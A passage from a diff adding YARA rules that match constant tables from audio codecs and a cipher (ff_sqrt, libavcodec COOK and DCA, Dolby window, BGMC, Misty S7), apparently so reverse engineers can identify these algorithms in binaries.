FBA22A6F7F840FA8FF2FE243337EDC7F6F0810BE23F7EBC6925AEAC6F5C4C418502CC0A670072B5B8F4220626FF0B05B7FCE7578A5B91C6D3FDEE439E3531D2C21EFFC97E5BA99FCC67B6FBEB0E5FF756294C5207F18AC36700C5414E9FE5135100052A1D10EF68A6DC9DC0E8F4E83ECBA1DCF0A3E54F3165E48B08309C1CDF4E1A9E000B049AD1B8FDB9DD47AFC1D719FE84F64960C9AB79B473067CFD240909356F0FF55FE56073AD45F6C2FE08EFDED6B65C7407A94F9B4591DADE0E95B5F6E76CF0F041A2FC5FB0AABAB51A8D308F17BED3F8C78E1B015BB41DD4F98959E929DFDF9C0346DE91FB2DB9500F393EDD05D2F1FE20543B3DF131AD6306CDEE6F54EB093EFEEAED483CBDA5AECA741DF43F685E383AB1B1B53215B1404133D279C12FCEC74F0F0DA8F60BE5A7D1B611591E84512F42B82D03DA5560BE212EA4FEF3422B5DE430D885E239A978B8816815254E9C3301DD1EC2F9FE0463FF5801D6266AFEA55D89D773DB05F000DA1AE538ABD8516D1C0614FA2614A32BFB5A0200F9FEFC12D8C2CE974B22F902FC863B045C44C2E2F626FB4DFAD3E312F5D30447FF09FE2700B11F9900043088A8F428A5E1D056B42A17EC4D02B20216FF2CF3AFFA76BE3D47FA3DCD59AC1631F74B0C7CF2AAAAC7C62900130313040800AADF99FD7BFC8EF6F1961F01B0EED805DBFAB6D1D5FFB4B064D7CB2C4000D3ED6FEDBDE4EBCB1E388F179B148CFE35FE32008FFFBFF5F41C58F30B23FCA570D8FA9ECEDAC449BA17D5097DC76E207A08E537700DB8651955F000D04EFAFEE79F36FFC1FB610447E86E0A92AA51F5A102330017E8D600F3DCE314E1504EC396319B10402B4F508DD7505203FFABDEEC00C203EBDAD5B34BF2F9C8FF0DF6A4ABFD65F7E40DA1F388B459021BFA061CB8C49358444BA9041340F3F8B0FE6304D3EB64F222558F1EFBF8284248E57172D1F655CAEB20C5A3ACA9B5C89EC827D2C9B1863EB8F8C83D6911940F09BF3B4EC1AD5D1E622E58E66DFB07B66BD42E2D74041409E0E5DDBA03D39EECE2FC1004D910A4090F17DF0D9D4EF10BC6F41814C4EE45515F21FEF902C6A501163684D8AFD6CDA734E0EBFB7E35FDFA34FB21E36BFD99332649EF26A905AC09F8F6DE0D60EDEA2B74B380D48BAFB7D599D5E1AEE11AB103D8C509168F62251501B2A9020533D8E2DEF9515084E883AC5733C3AEC5348943813330C23DC0885A35F03BDFFD03670246311BAD77C652DC1D163510DEF9102CA1BA9DD93F0241177D41BE44F79B5AEED0F222CA50BF630E34F2FEAD9DC1F219A5D47521C9CCC65B31CB03F612DCAAE27A72380E75FE81D68C61A30765DFEE51B8C0AE149C415629A34DE4ED41B484FDECDBAC6CD01365FF0F0218FD03AF1EF2AC49B60ACD058CF40D0A94B5B2FEB50DD10074 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain_mid__flt64___64_lil_64_
+{
+strings:
+	$a0 = { 0000000000b0e63ff4d1eeffffd9f33fcd531300c05e014000000000000000000000000000b0e6bff4d1eeffffd9f3bfcd531300c05e01c00000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule ff_sqrt_tab__8_byt_256_
+{
+strings:
+	$a0 = { 0010171c2024282b2e303336383a3c3e40424446484a4c4d4f5052545557585a5b5c5e5f60626364666768696b6c6d6e6f7072737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f9090919293949596979798999a9b9c9c9d9e9fa0a0a1a2a3a4a4a5a6a7a8a8a9aaababacadaeaeafb0b0b1b2b3b3b4b5b6b6b7b8b8b9bababbbcbcbdbebebfc0c0c1c2c2c3c4c4c5c6c6c7c8c8c9cacacbcccccdcdcecfcfd0d0d1d2d2d3d4d4d5d5d6d7d7d8d8d9dadadbdbdcdcdddededfdfe0e0e1e2e2e3e3e4e4e5e6e6e7e7e8e8e9e9eaebebececededeeeeefeff0f0f1f2f2f3f3f4f4f5f5f6f6f7f7f8f8f9f9fafafbfbfcfcfdfdfefeffffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes1__16_lil_194_
+{
+strings:
+	$a0 = { 00000800140030006a00e200e300e401ec03ed030900150031006b006c00e400e500e501e601f0071600170032006d00e600e700e701e801ee03f107330034006e00e800e900e901ea01ef03f207f60f6f007000ea00eb00eb01ec01f003f307f407fa1fec00ed00ee00ed01ee01f103f203f507f70ffa3fef00f000f100ef01f303f607f707f80ffb1ffe7ff001f101f201f403f807f90ffa0ffb3ffc3f0000f301f401f501f503f907fb0ffd3ffeff00000000f603f703fa07fc0ffc1ffe3fffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossless_quant_d__flt32___32_lil_128_
+{
+strings:
+	$a0 = { 000000000000803f0000003fc3f5a83e0000803ee7fb293e0000003ee7fba93d0000803d0000003d24977f3cf301013c1f84803b0341003b751f803aae0e003af8078039f80700399a0280389a0200389a0280379cfcff369a02803605f4ff35e2008035e5faff34e5fa7f340000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dol_long__flt64___64_lil_8192_
+{
+strings:
+	$a0 = { 3f37ee3d5e2c333f9fe7d267f62d3c3f53d6becf64ea413f60b8f4c60d75453fde0a660874dc483fb7ba7c132e334c3fdf2ab7f9f4834f3f94ac70fecc6a513f69be9e1f6116533f50f731f161c6543f4a5d4a710f7c563f6de57ef26138583fb641f80120fc593f5ffa248eecc75b3fcdcc9161509c5d3f3dc87daec0795f3fb138ecd851b0603ff3cc7a07aaa8613fe0302aa511a6623f09a429d3ada8633f06074bc7a0b0643fc61e62580abe653fe1e9036c08d1663fef77414db7e9673f8c7592f23108693f07185a35922c6a3fc4a319fff0566b3fd4864c6e66876c3fef4221f509be6d3f64aade72f2fa6e3f302c83241b1f703fba2683b6f5c3703f439e8ebb136c713fff3279d77f17723f7bb2238b44c6723f470e0b396c78733f09952e29012e743f2076688c0de7743f20a24e7f9ba3753fe845ae0cb563763f6ef3b02f6427773f17fdb7d5b2ee773f4a7ef8dfaab9783f05e3e0245688793f2b4f4f71be5a7a3f21349f89ed307b3faf5c932aed0a7c3fec03210ac7e87c3fe4d11fd884ca7d3fbd10e23e30b07e3f64fdb7e3d2997f3fc553b033bb43803f6641353392bc803fcac4c23c7337813f4645e41a63b4813f838475966633823f2177ba7682b4823f398e7281bb37833f48ece77a16bd833f53effa259844843fdc702a4445ce843f34069995225a853f829d0fd934e8853fcca3fdcb8078863f7cfd762a0b0b873f4aef2fafd89f873f8d5d7713ee36883fee2b2f0f50d0883f5254c358036c893fb96a1fa50c0a8a3f5b05a3a770aa8a3fc9e21412344d8b3f550f95945bf28b3f09038eddeb998c3f31eea499e9438d3f2f17a97359f08d3ff8938214409f8e3f1c322023a2508f3ffb6332224202903f9df8898d755d903fb014dfa3edb9903f603756b4ac17913fe3b4e50cb576913f6f0e4bfa08d7913f9e1800c8aa38923fcbeb2fc09c9b923f69a7ab2be1ff923f0b0fdf517a65933f47f9c4786acc933fd09cdbe4b334943faeba18d9589e943f66a4dd965b09953f852aeb5dbe75953fdf64556c83e3953f4a6d77feac52963f7af7e64e3dc3963f8dd467963635973fbb65df0b9ba8973fa1f047e46c1d983f25f0a352ae93983fdb45f187610b993fbf651cb38884993f796bf30026ff993f6e25199c3b7b9a3f1c19f8accbf89a3f6c6cb559d8779b3f07d823c663f89b3fa27eb613707a9c3f91c67361fffd9c3f1028e8cb13839d3f51f0186daf099e3f0409775cd4919e3f82aad1ae841b9f3f32194976c2a69f3fbaaa20e1c719a03fa364aa4ff760a03fd379a38bf0a8a03ffe897b98b4f1a03f80682978443ba13fec70242ba185a13f42d85db0cbd0a13fc1033a05c51ca23fa7da89258e69a23f551b840b28b7a23f94b1beaf9305a33fd50c2809d254a33fb578000de4a4a33fe478d3aecaf5a33f342271e08647a43f027be791199aa43f28dc7bb183eda43fa553a42bc641a53fc30b01ebe196a53fbdb655d8d7eca53f96f782daa843a63fc6d67fd6559ba63fdb3653afdff3a63fdc4a0d46474da73f9f15c1798da7a73fd3ea7d27b302a83fb3f5482ab95ea83fbfc4165ba0bba83f6cd9c4906919a93fb53f13a01578a93f7c289e5ba5d7a93faa8ad7931938aa3f58cd00177399aa3f5d7124b1b2fbaa3f19ca0f2cd95eab3fdcb24c4fe7c2ab3f2d551be0dd27ac3f15ef6ba1bd8dac3ffca2d85387f4ac3f474e9fb53b5cad3f82699b82dbc4ad3f37ee3f74672eae3f7b439141e098ae3f97381f9f4604af3fa7fffe3e9b70af3f9638c5d0deddaf3f73ffbf000926b03fed81d8bd9a5db03f89d8a3f3a495b03f88a9cdf427ceb03f76a7b2122407b13fbaaf5d9d9940b13f23f084e3887ab13fbf0e8732f2b4b13fb55868d6d5efb13fecf5cf19342bb23f2f2105460d67b23f4066eca261a3b23f16e6047731e0b23f589f65077d1db33f2fbcba97445bb33f44e8426a8899b33f41a9ccbf48d8b33f87bfb3d78517b43f9c8bdeef3f57b43ffe7abb447797b43f8c783e112cd8b43fb965de8e5e19b53f539992f50e5bb53f6663d07b3d9db53f66988856eadfb53f8c2425b91523b63f6ea186d5bf66b63fb3f701dce8aab63f09035efb90efb63f873ed160b834b73f1a7aff375f7ab73fb992f7aa85c0b73f7b3431e22b07b83f43a48a04524eb83f598d4637f895b83fdfda099e1edeb83f5494d95ac526b93ff9c3188eec6fb93f6363865694b9b93f72543bd1bc03ba3f5556a819664eba3f391094499099ba3f791919793be5ba3f310aa4be6731bb3f02a8f12e157ebb3f6aeb0cdd43cbbb3f4c4e4ddaf318bc3f5adf54362567bc3f3c960effd7b5bc3f968bac400c05bd3f9047a605c254bd3f2713b756f9a4bd3fe362dc3ab2f5bd3ff92a54b7ec46be3f3c559bcfa898be3fe1396c85e6eabe3fa920bdd8a53dbf3f49bfbec7e690bf3f1cd1da4ea9e4bf3f3f5a59b4761cc03f3f010f87d946c03fc7a2141b7d71c03f77520a6b619cc03fb254a97086c7c03f0581c324ecf2c03f4fa7427f921ec13fd1fe2777794ac13f07988b02a176c13feccf9b1609a3c13faccb9ca7b1cfc13f98f8e7a89afcc13f0c8ceb0cc429c23fde122ac52d57c23f53f839c2d784c23f291bc5f3c1b2c23f08648848ece0c23f326053ae560fc33f33e30712013ec33fd0ac995feb6cc33fc4110e82159cc33f5cae7b637fcbc33f03120aed28fbc33f2484f106122bc43fffba7a983a5bc43fb99dfe87a28bc43f4c10e6ba49bcc43f0abea91530edc43fffedd17b551ec53f4a57f6cfb94fc53f8efcbdf35c81c53ffe13dfc73eb3c53f2fe41e2c5fe5c53f3bb351ffbd17c63f74bb5a1f5b4ac63ff21b2c69367dc63f85d1c6b84fb0c63f28bf3ae9a6e3c63f5fa8a6d43b17c73fed4438540e4bc73fdb472c401e7fc73fce78ce6f6bb3c73f96d179b9f5e7c73f799098f2bc1cc83fdd6aa4efc051c83f41ac26840187c83f496ab8827ebcc83f09b602bd37f2c83fb1d5be032d28c93fe883b6265e5ec93f8430c4f4ca94c93ff64dd33b73cbc93fa797e0c85602ca3fd96efa677539ca3fb32d41e4ce70ca3f5381e70763a8ca3f92d7329c31e0ca3fe9bb7b693a18cb3f424c2e377d50cb3f8ba9cacbf988cb3ff36de5ecafc1cb3f3231285f9ffacb3f2b0052e6c733cc3f47ef3745296dcc3f2fa0c53dc3a6cc3f59d8fd9095e0cc3f1119fbfe9f1acd3f0936f046e254cd3f100129275c8fcd3fe8eb0a5d0dcacd3f2cb115a5f504ce3fe210e4ba1440ce3fcc7a2c596a7bce3fd2d4c139f6b6ce3f07399415b8f2ce3fdbb7b1a4af2ecf3fa42c479edc6acf3f7205a1b83ea7cf3f08202ca9d5e3cf3f4b513b925010d03fbf6d186fd02ed03f151497446a4dd03f4fefb2eb1d6cd03f1a1ffa3ceb8ad03f35b28d10d2a9d03fbb23223ed2c8d03f60d8ff9cebe7d03f27a403041e07d13f3f4d9f496926d13f0d11da43cd45d13f913151c84965d13ff27d38acde84d13fbde25ac48ba4d13ff7fc1ae550c4d13f8ca773e22de4d13ff598f88f2204d23f26f4d6c02e24d23f05e9d5475244d23f374f57f78c64d23f914658a1de84d23f21d6711747a5d23f7996d92ac6c5d23fd35262ac5be6d23f2db67c6c0707d33f2bf4373bc927d33f067942e8a048d33f5697ea428e69d33f593e1f1a918ad33f8eaa703ca9abd33fe9201178d6ccd33f5aa4d59a18eed33f3ab536726f0fd43f0b0b51cbda30d43f3b5ae6725a52d43fb4105e35ee73d43f6f1ec6de9595d43fe1bbd33a51b7d43f6c30e41420d9d43f8da0fd3702fbd43f88d8cf6ef71cd53f3520b583ff3ed53fa805b3401a61d53fc3387b6f4783d53f125a6cd986a5d53fc7d79247d8c7d53f9ec3a9823bead53f5fb31b53b00cd63fdf980381362fd63fbaa62dd4cd51d63f2d3218147674d63fe392f4072f97d63f910ca876f8b9d63fc6b5cc26d2dcd63f8c61b2debbffd63fb9895f64b522d73fe83e927dbe45d73f3314c1efd668d73f7b151c80fe8bd73fdeb38df334afd73f37c0bb0e7ad2d73f2e5d0896cdf5d73fdbfb924d2f19d83f5a5139f99e3cd83fd554985c1c60d83f883d0d3ba783d83f667fb6573fa7d83f0bce7475e4cad83fe01cec5696eed83f4aa684be5412d93f35ed6b6e1f36d93f62c69528f659d93ff960bdaed87dd93fd74f66c2c6a1d93f5896dd24c0c5d93f0fb33a97c4e9d93f7eb160dad30dda3f9e37ffaeed31da3f2b9693d51156da3f54df690e407ada3f58f69d19789eda3fb4a91cb7b9c2da3f76c3a4a604e7da3fa427c8a7580bdb3f7de9ec79b52fdb3fa8654edc1a54db3f9660fe8d8878db3f6a21e64dfe9cdb3fa88fc7da7bc1db3f6c543ef300e6db3f69f7c0558d0adc3ff202a2c0202fdc3fc72311f2ba53dc3fed4f1ca85b78dc3f34e7b0a0029ddc3f0cda9c99afc1dc3fc7d18f5062e6dc3fa2541c831a0bdd3fb6eeb8eed72fdd3f5c5cc1509a54dd3fccb377666179dd3fff8b05ed2c9edd3f0f2e7da1fcc2dd3fc8bcda40d0e7dd3f38630588a70cde3f3181d0338231de3fa6dcfc006056de3fc4cc39ac407bde3f9f6a26f223a0de3f06c4528f09c5de3faa084140f1e9de3f8bbb66c1da0edf3f92e82dcfc533df3fc251f625b258df3f41a616829f7ddf3f05b3dd9f8da2df3fa695933b7cc7df3fb3f27a116becdf3ff314e9eeac08e03f6d436a2e241be03f6ebd5d259b2de03fe3e7dfb11140e03fba6d0db28752e03fd2dc0304fd64e03fb13ee2857177e03f0eb5c915e589e03f9a13de91579ce03fda7b46d8c8aee03f9ff72dc738c1e03f3b15c43ca7d3e03f37803d1714e6e03f4b9fd4347ff8e03f152dca73e80ae13f4ad465b24f1de13f90caf6ceb42fe13f336ad4a71742e13f69ce5e1b7854e13f666dff07d666e13f1eb2294c3179e13f27985bc6898be13f69441e55df9de13fa0a006d731b0e13fbbf3b52a81c2e13f5a7dda2ecdd4e13fd20d30c215e7e13f44a080c35af9e13f9ff2a4119c0be23fc920858bd91de23f273a19101330e23fbadb697e4842e23f77c890b57954e23f747eb994a666e23f63d121fbce78e23fb97f1ac8f28ae23ff2c807db119de23f2f0562132cafe23f6d3ab65041c1e23f05b2a67251d3e23f848deb585ce5e23f295b53e361f7e23fc2abc3f16109e33ffda339645c1be33fe690ca1a512de33f4f7ba4f53f3fe33f21b90ed52851e33f627f6a990b63e33f81733323e874e33f4f3c0053be86e33fe31183098e98e33f784c8a2757aae33fb8f5008e19bce33fc754ef1dd5cde33f697c7bb889dfe33f23d9e93e37f1e33fffbd9d92dd02e43f6fee19957c14e43f1f2c01281426e43fc4be162da437e43f22003f862c49e43f90e47f15ad5ae43f718201bd256ce43f0e9b0e5f967de43fa82015defe8ee43f8fbda61c5fa0e43fbb5779fdb6b1e43f4298676306c3e43f6a6b71314dd4e43fb686bc4a8be5e43f07ea9492c0f6e43faf5f6decec07e53f50ffdf3b1019e53f6eaaae642a2ae53fe88dc34a3b3be53f769d31d2424ce53f541235df405de53fb4e53356356ee53fee4cbe1b207fe53f8e328f140190e53f0cb08c25d8a0e53f2386c833a5b1e53fae92802468c2e53fa6481fdd20d3e53f2b233c43cfe3e53fbc1b9c3c73f4e53f891b32af0c05e63fd16e1f819b15e63f1934b4981f26e63fd9ce6fdc9836e63fd35201330747e63ffcf447836a57e63f1f7653b4c267e63fdd8e64ad0f78e63fa25aed555188e63f29c091958798e63f9dd92754b2a8e63fb35bb879d1b8e63fb1fb7eeee4c8e63f68d4ea9aecd8e63f54c79e67e8e8e63feae1713dd8f8e63f43bc6f05bc08e73f39dad8a89318e73f9c0823115f28e73fdfbbf9271e38e73f386b3ed7d047e73f61eb08097757e73f0ac9a7a71067e73f0d9fa09d9d76e73fc66fb0d51d86e73f31f9cb3a9195e73fff0820b8f7a4e73f51d0113951b4e73f5c353fa99dc3e73f44237ff4dcd2e73fa3d9e1060fe2e73f8838b1cc33f1e73fa00f71324b00e83ffe65df24550fe83f1ac6f490511ee83f7b83e463402de83f8c031d8b213ce83f380248f4f44ae83f1fd54a8dba59e83fc9ae46447268e83fbadf98071c77e83fc014dbc5b785e83fa897e36d4594e83ff988c5eec4a2e83f821dd13736b1e83f01d7933899bfe83f23bdd8e0edcde83fa492a82034dce83f420d4ae86beae83f6508422895f8e83f63b653d1af06e93fd1d280d4bb14e93f00d20923b922e93f080e6eaea730e93f1cf36b68873ee93fd32a0143584ce93f51c56a301a5ae93f61612523cd67e93fc651ed0d7175e93f81c2bee30583e93fb9dcd5978b90e93f06e6ae1d029ee93fa763066969abe93f4836d96dc1b8e93fedb764200ac6e93fbcd7267543d3e93ffb32de606de0e93f072e8ad887ede93f280a6bd192fae93f60fb01418e07ea3fc43b111d7a14ea3f611c9c5b5621ea3f2e17e7f2222eea3f68dc77d9df3aea3f506015068d47ea3f1ae7c76f2a54ea3f670dd90db860ea3f71d2d3d7356dea3f599d84c5a379ea3fd243f9ce0186ea3fe60b81ec4f92ea3fc4aeac168e9eea3f76594e46bcaaea3f79ab7974dab6ea3f36b3839ae8c2ea3f7fea02b2e6ceea3fe12fcfb4d4daea3f3ebf019db2e6ea3f4d28f56480f2ea3f0f4445073efeea3f7828cf7eeb09eb3fb219b1c68815eb3ff27a4ada1521eb3ff4bd3bb5922ceb3f924e6653ff37eb3fc37fecb05b43eb3f647431caa74eeb3f5608d99be359eb3fe2b7c7220f65eb3fea83225c2a70eb3f0dd54e45357beb3f875ff2db2f86eb3fce02f31d1a91eb3fcca77609f49beb3fc01ee39cbda6eb3f0bfcddd676b1eb3fcb704cb61fbceb3f2724533ab8c6eb3f300b566240d1eb3feb3cf82db8dbeb3f13c81b9d1fe6eb3f9b83e1af76f0eb3f5ce2a866bdfaeb3fb2bf0fc2f304ec3ff22ef2c2190fec3fad476a6a2f19ec3f94f0cfb93423ec3f37a8b8b2292dec3f6f4df7560e37ec3f05e69ba8e240ec3f3c63f3a9a64aec3f4865875d5a54ec3fb4fc1dc6fd5dec3f736cb9e69067ec3fb6e797c21371ec3fbf4e335d867aec3f11ed40bae883ec3fba32b1dd3a8dec3ff36dafcb7c96ec3f5a83a188ae9fec3fb4a32719d0a8ec3fb1011c82e1b1ec3f398592c8e2baec3f4e7dd8f1d3c3ec3fa3527403b5ccec3f9934250386d5ec3f0dcae2f646deec3f93dcdce4f7e6ec3f01047bd398efec3fb4525cc929f8ec3fc7fa56cdaa00ed3f4af977e61b09ed3f6dba021c7d11ed3f1fc07075ce19ed3f6e4371fa0f22ed3fb9d9e8b2412aed3faa14f1a66332ed3f2322d8de753aed3f256b20637842ed3ffd31803c6b4aed3f5b2ee1734e52ed3fb1286012225aed3f71934c21e661ed3f672528aa9a69ed3f7d70a6b63f71ed3f8b78ac50d578ed3fcd4950825b80ed3f6e8bd855d287ed3f9b14bcd5398fed3fb67ea10c9296ed3fc5b45e05db9ded3f5886f8ca14a5ed3fd033a2683faced3f82ffbce95ab3ed3fdfb7d75967baed3fcd45aec464c1ed3fc736293653c8ed3f5b475dba32cfed3f98ec8a5d03d6ed3f6bdc1d2cc5dced3f9994ac3278e3ed3f6ae2f77d1ceaed3f1a66ea1ab2f0ed3f381b981639f7ed3ff1d83d7eb1fded3f51d8405f1b04ee3f30342ec7760aee3fa86cbac3c310ee3fa3e6c0620217ee3f836c43b2321dee3f58ad69c05423ee3f1abc809b6829ee3f138cfa516e2fee3f0b6f6df26535ee3f0892938b4f3bee3f07794a2c2b41ee3ffb7992e3f846ee3fcd378ec0b84cee3ff51b82d26a52ee3fc8d0d3280f58ee3f4bb909d3a55dee3f846bcae02e63ee3f7c25dc61aa68ee3f31472466186eee3f64c9a6fd7873ee3f89b18538cc78ee3f628b0027127eee3f37db73d94a83ee3fa89558607688ee3f4b9343cc948dee3f0105e52da692ee3f9ee80796aa97ee3f857c9115a29cee3f4bb380bd8ca1ee3f99a6ed9e6aa6ee3f280b09cb3babee3f35a11b5300b0ee3f80a98548b8b4ee3f2f57bebc63b9ee3f934053c102beee3fbdd1e76795c2ee3fbfbf34c21bc7ee3f0f7807e295cbee3f279441d903d0ee3ff549d8b965d4ee3fb9ddd395bbd8ee3fdb134f7f05ddee3f65a1768843e1ee3f8a9e88c375e5ee3f77f7d3429ce9ee3f8bdeb718b7edee3f753da357c6f1ee3fbe261412caf5ee3f5348975ac2f9ee3f065dc743affdee3f6b9e4ce09001ef3fc037dc426705ef3f7cb8377e3209ef3f83862ca5f20cef3f125193caa710ef3f59844f015214ef3fc0bc4e5cf117ef3f393b88ee851bef3f8258fcca0f1fef3f29fab3048f22ef3f3c07c0ae0326ef3fa4dd38dc6d29ef3fe3c73da0cd2cef3f1472f40d2330ef3fc86188386e33ef3fc76c2a33af36ef3fcf2e1011e639ef3f948473e5123def3f660092c33540ef3f5767acbe4e43ef3f482706ea5d46ef3fa1d2e4586349ef3faa9b8f1e5f4cef3fdbce4e4e514fef3f8d4e6bfb3952ef3fda112e391955ef3fee9edf1aef57ef3fa38bc7b3bb5aef3ffefa2b177f5def3fbc1c51583960ef3fb0ae788aea62ef3ff67be1c09265ef3fc3e0c60e3268ef3fba4b6087c86aef3f5fc1e03d566def3f59627645db6fef3f7fed49b15772ef3f33487e94cb74ef3f5e0530023777ef3f56eb740d9a79ef3fc47f5bc9f47bef3f988eea48477eef3f98b5209f9180ef3f4ef1f3ded382ef3f3c28511b0e85ef3f8eb91b674087ef3f660a2dd56a89ef3f1a1854788d8bef3fe3065563a88def3f74b4e8a8bb8fef3f9c4bbc5bc791ef3f8dd7708ecb93ef3fe5d89a53c895ef3f8bddc1bdbd97ef3fc41660dfab99ef3f21f2e1ca929bef3f71b3a592729def3f2310fb484b9fef3fa5ca22001da1ef3fef504ecae7a2ef3f555a9fb9aba4ef3f268727e068a6ef3f5902e84f1fa8ef3f5824d11acfa9ef3fbb15c25278abef3f2d7488091badef3f0cf9df50b7aeef3f7221723a4db0ef3f8bd5d5d7dcb1ef3fcc138f3a66b3ef3fcb9b0e74e9b4ef3f929bb19566b6ef3fec5cc1b0ddb7ef3f9cf672d64eb9ef3f01fae617babaef3f832829861fbcef3fc32430327fbdef3f6729dd2cd9beef3fd6bdfb862dc0ef3f6d6e41517cc1ef3fc5854d9cc5c2ef3f1bc8a87809c4ef3f3c2cc5f647c5ef3f889cfd2681c6ef3f0cb39519b5c7ef3f887ab9dee3c8ef3f82307d860dcaef3f5507dd2032cbef3fc3eabcbd51ccef3fed46e86c6ccdef3f96cd113e82ceef3f0141d34093cfef3fb43cad849fd0ef3fbf010719a7d1ef3f5c432e0daad2ef3f0af65670a8d3ef3ffc1e9b51a2d4ef3ff6a4fabf97d5ef3f04255bca88d6ef3f66c4877f75d7ef3fbb0731ee5dd8ef3f8caaec2442d9ef3f2576353222daef3f541d6b24fedaef3f7917d209d6dbef3f467c93f0a9dcef3fc0e3bce679ddef3f274540fa45deef3f5ad8f3380edfef3f4ef891b0d2dfef3fe206b96e93e0ef3f3353eb8050e1ef3fdefe8ef409e2ef3f31e8edd6bfe2ef3f9692353572e3ef3fcf11771c21e4ef3feef5a699cce4ef3fc63a9db974e5ef3f9434158919e6ef3ff882ad14bbe6ef3f7c01e86859e7ef3f90ba2992f4e7ef3fabddba9c8ce8ef3f01b3c69421e9ef3fd0945b86b3e9ef3f94e66a7d42eaef3fc20fc985ceeaef3f7e762dab57ebef3f657b32f9ddebef3f7e78557b61ecef3f29c0f63ce2ecef3f179c594960edef3fba4fa4abdbedef3f721be06e54eeef3f5f3ff99dcaeeef3f5b01bf433eefef3ff5b2e36aafefef3f89b9fc1d1ef0ef3fff9582678af0ef3f09f0d051f4f0ef3f02a026e75bf1ef3ff0bba531c1f1ef3fd5a3533b24f2ef3f3912190e85f2ef3fd428c2b3e3f2ef3f8d83fe3540f3ef3fb849619e9af3ef3ffd3e61f6f2f3ef3f8ada584749f4ef3fb158869a9df4ef3f2bd30bf9eff4ef3f8155ef6b40f5ef3f7ff81afc8ef5ef3f9af65cb2dbf5ef3f35ca679726f6ef3fd844d2b36ff6ef3fbcac1710b7f6ef3ff6d897b4fcf6ef3fa54e97a940f7ef3f47603ff782f7ef3f474b9ea5c3f7ef3fbe59a7bc02f8ef3f3403334440f8ef3f440cff437cf8ef3fa0acaec3b6f8ef3f6dafcacaeff8ef3fe998c16027f9ef3f04cbe78c5df9ef3f50aa775692f9ef3f6ac591c4c5f9ef3f55fb3cdef7f9ef3f37a366aa28faef3f30b5e22f58faef3f73f26b7586faef3f3210a481b3faef3fcae0135bdffaef3fbe7f2b080afbef3f467c428f33fbef3f060698f65bfbef3f5c19534483fbef3f6bac827ea9fbef3f8ddd1dabcefbef3f5e2004d0f2fbef3fee6dfdf215fcef3fc771ba1938fcef3f46bcd44959fcef3f9aefce8879fcef3f84f314dc98fcef3f1223fc48b7fcef3f5680c3d4d4fcef3f9de49384f1fcef3f1633805d0dfdef3fca8a856428fdef3fa1798b9e42fdef3f0c2f64105cfdef3f17b0ccbe74fdef3f5e096dae8cfdef3f3284d8e3a3fdef3fa7da8d63bafdef3f9b6af731d0fdef3f406c6b53e5fdef3f69242cccf9fdef3f711b68a00dfeef3fef503ad420feef3f4672aa6b33feef3f560ead6a45feef3f0bcc23d556feef3f799fddae67feef3f100097fb77feef3fb91dfabe87feef3faf169ffc96feef3f5b2e0cb8a5feef3f7101b6f4b3feef3f7dbdffb5c1feef3f66563bffcefeef3fd6baa9d3dbfeef3f3b0d7b36e8feef3f72d6ce2af4feef3f5e3db4b3fffeef3fbb3c2ad40affef3febd71f8f15ffef3f1b5174e71fffef3f225ff7df29ffef3fe961697b33ffef3ff2987bbc3cffef3fcb57d0a545ffef3f283bfb394effef3f555d817b56ffef3f098cd96c5effef3f777c6c1066ffef3fb0fe94686dffef3f7533a07774ffef3f3dbfcd3f7bffef3fdffc4fc381ffef3fc2334c0488ffef3f1bc9da048effef3f9f7207c793ffef3f9c6bd14c99ffef3f23a42b989effef3f82f6fcaaa3ffef3f79572087a8ffef3fd207652eadffef3f04c68ea2b1ffef3fc7ff55e5b5ffef3ff70168f8b9ffef3f722967ddbdffef3f5613eb95c1ffef3fc2cb8023c5ffef3f15feaa87c8ffef3fbe24e2c3cbffef3ff1b594d9ceffef3fca5227cad1ffef3f76f6f496d4ffef3fd0214f41d7ffef3fd2097ecad9ffef3f96c3c033dcffef3f57714d7edeffef3f1b6e51abe0ffef3fa679f1bbe2ffef3f0fe349b1e4ffef3f56b36e8ce6ffef3fa8d86b4ee8ffef3fe44f45f8e9ffef3fc34df78aebffef3f54677607edffef3f8bbcaf6eeeffef3f3d1e89c1efffef3ffb36e100f1ffef3f6db28f2df2ffef3fb8636548f3ffef3fcf6b2c52f4ffef3fd05fa84bf5ffef3f526e9635f6ffef3f5284ad10f7ffef3f28729eddf7ffef3f5b0e149df8ffef3f935ab34ff9ffef3f6ba61bf6f9ffef3f98b1e690faffef3fb9cea820fbffef3f2005f1a5fbffef3f3e324921fcffef3ff6283693fcffef3f13d437fcfcffef3fea54c95cfdffef3fa52261b5fdffef3ff3297106feffef3f45eb6650feffef3f6098ab93feffef3f4132a4d0feffef3ffda5b107ffffef3f94e93039ffffef3f1d187b65ffffef3f328de58cffffef3fb2ffc1afffffef3f899d5eceffffef3f0a2506e9ffffef3f }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_11__16_lil_514_
+{
+strings:
+	$a0 = { 00403b3f763eb13ded3c293c653ba13add391a3957389637d536153655359734d9331b335e32a231e6302c30722fba2e022e4d2d982ce52b332b822ad22924297628c8271a276e26c22519257024cb2327238522e3214521a7200d20731fdd1e471eb21d1d1d8c1cfb1b6e1be21a591ad1194c19c7184618c5174817cb165016d5155a15df146714ef137b13081399122a12be115311ec1085102210bf0f600f010fa30e450eeb0d910d3b0de60c940c420cf30ba40b590b0e0bc70a800a3b0af609b1096c092909e608a70868082c08f007b6077d0747071107de06ab067b064b061c06ed05c10595056b0542051b05f404ce04a90486046304420422040204e203c203a2038303650349032d031203f802df02c602af02980283026e025a02460232021f020d02fb01ea01d901c901ba01ab019c018e018101750169015d015101450139012d01220117010d010301f900f000e700de00d600ce00c700c000b900b200ab00a5009f00990094008f008a00850080007b00770073006f006b00670063005f005b005700530050004d004a004700440041003f003d003b00390037003500330031002f002d002b0029002800270026002500240023002200210020001f001e001d001c001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a000900080007000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_s7__32_lil_512_
+{
+strings:
